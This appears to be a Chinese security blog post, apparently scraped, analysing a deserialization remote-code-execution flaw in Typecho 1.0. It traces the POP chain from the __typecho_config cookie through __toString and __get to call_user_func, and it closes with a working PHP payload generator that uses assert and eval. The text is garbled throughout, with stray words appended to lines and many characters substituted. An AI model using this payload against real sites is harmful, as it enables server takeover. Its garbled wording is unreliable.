这里我下了1.0版本:
git clone https://github.com/typecho/typecho.git --branch v1.0-14.10.10-release
github
这个漏洞很是有趣。首先是一个可控参数的反序列化表达式。而后构造pop链,寻找__destruct方法,然而没有找到可利用的。可是经过对反序列化后的变量跟踪发现,有对其看成字符串调用,所以寻找__toString方法。cookie
这个程序一共就只有三个__toString,我本身找的时候只找到一个“相似SQL注入”的点,后来经过利用autoload机制(参考p牛的CSRF到任意代码执行)将那个类加载进来。后来又经过一顿分析发现,其只是返回一个SELECT语句的字符串,而后我就没再跟进了,说不定能够构形成一个反射xss(从反序列化到反射xss???)。app
而后看了一下大佬的blog,大佬在另外一处__toString中找到了一个方法调用:$item[..]->screenName。因为$item可控,所以这里可使$item[..]为一个没有screenName属性的对象,当访问一个对象没有的属性时就会寻找它的__get方法!因此大佬这里就找了一个存在危险操做的__get方法的类。果真我仍是太菜了,满脑子就只有__destruct和__wakeup。xss
跟进__get以后,通过一系列的调用,调用了同类下的某个filter方法,而后在里面进行了call_user_func,两个参数均可控,至此利用链分析完毕。typecho
构建poc后发现页面返回了500错误,咱们的phpinfo()并无回显出来。通过调试发现,由于程序对反序列化以后的内容进行处理时抛出了异常,致使报了错。咱们能够将程序提早exit,不通过后面的报错便可。学习
首先看一下访问到漏洞点的前置条件this
这里会对referer头作一个校验,refer中的host值须要与$_SERVER['HTTP_HOST']的值相等。3d
下面看一下漏洞点
这里须要传入一个finish参数,而后在230行将cookie中的__typecho_config的值经过base64解码以后反序列化。
再往下看两行到232行,这里将$config['adapter']做为第一个参数传入到Typecho_Db()中。$config就是反序列化传来的对象,所以这个参数也是咱们可控的。咱们跟进一下Typecho_Db()
跟进其构造方法以后发现,这里将咱们传来的第一个参数作字符串拼接,若是第一个参数是对象的话,那么这里就会调用其__toString()方法。恰好,第一个参数是咱们可控的。
经过寻找__toString方法,找到了一个Typecho_Feed类。
在第二张图中能够看到$item['author']->screenName
。若是$item['author']是一个不能存在screenName属性的类的话,那么这里就会调用这个类的__get()魔术方法。恰好,这里的$item是咱们可控的。所以下面就找哪些类没有screenName属性,而且__get方法存在危险操做。
最后找到了Typecho_Request类
能够看到$value是可控的。下面跟进一下_applyFilter方法
能够看到,这里有个call_user_func方法,且$filter和$value均可控。至此这条pop链基本是构造完了。
但是构造完payload发现页面响应500,咱们的phpinfo()并无回显出来。通过调试发现,由于程序对反序列化以后的内容进行处理时抛出了异常,致使报了错。以下。
能够看到这里首先抛出了一个Typecho_Db_Exception异常,跟进。
能够看到调用了ob_end_clean()清空了缓冲区。接着跟到self::error。
能够看到,这里配置了一些报错变量,并在最后输出到模板中,而后exit退出了程序。
暂时知道有两种方法来输出payload的结果:
1)提早exit程序,让程序不运行到抛出异常处
2)提早将缓冲区内容打印到页面上
对于1),这里有两种实现方法,第一种是seebug做者的方法,经过使程序运行出错自动exit,还有一种是直接简单粗暴地将exit放到咱们的payload中。
对于2),我本想使用ob_end_flush()之类的方法,可是程序在调用时会传入一个参数,致使ob_end_flush()执行失败,由于这个方法是不接受参数的,因此对于第2)个方法,目前没找到出路。
因此这里我将exit放到payload中,成功提早退出,回显了phpinfo。
payload以下
<?php class Typecho_Feed{ private $_type; private $_items = array(); public function __construct(){ $this->_type = "RSS 2.0"; $this->_items = array( array( "title" => "test", "link" => "test", "data" => "20190430", "author" => new Typecho_Request(), ), ); } } class Typecho_Request{ private $_params = array(); private $_filter = array(); public function __construct(){ $this->_params = array( "screenName" => "eval('phpinfo();exit;')", ); $this->_filter = array("assert"); } } $a = new Typecho_Feed(); $c = array( "adapter" => $a, "prefix" => "test", ); echo base64_encode(serialize($c));
这个漏洞最精彩的部分就是经过调用__toString再来调用一层__get魔术方法,惋惜本身无法把这些已有的点联系起来,仍是多学习吧。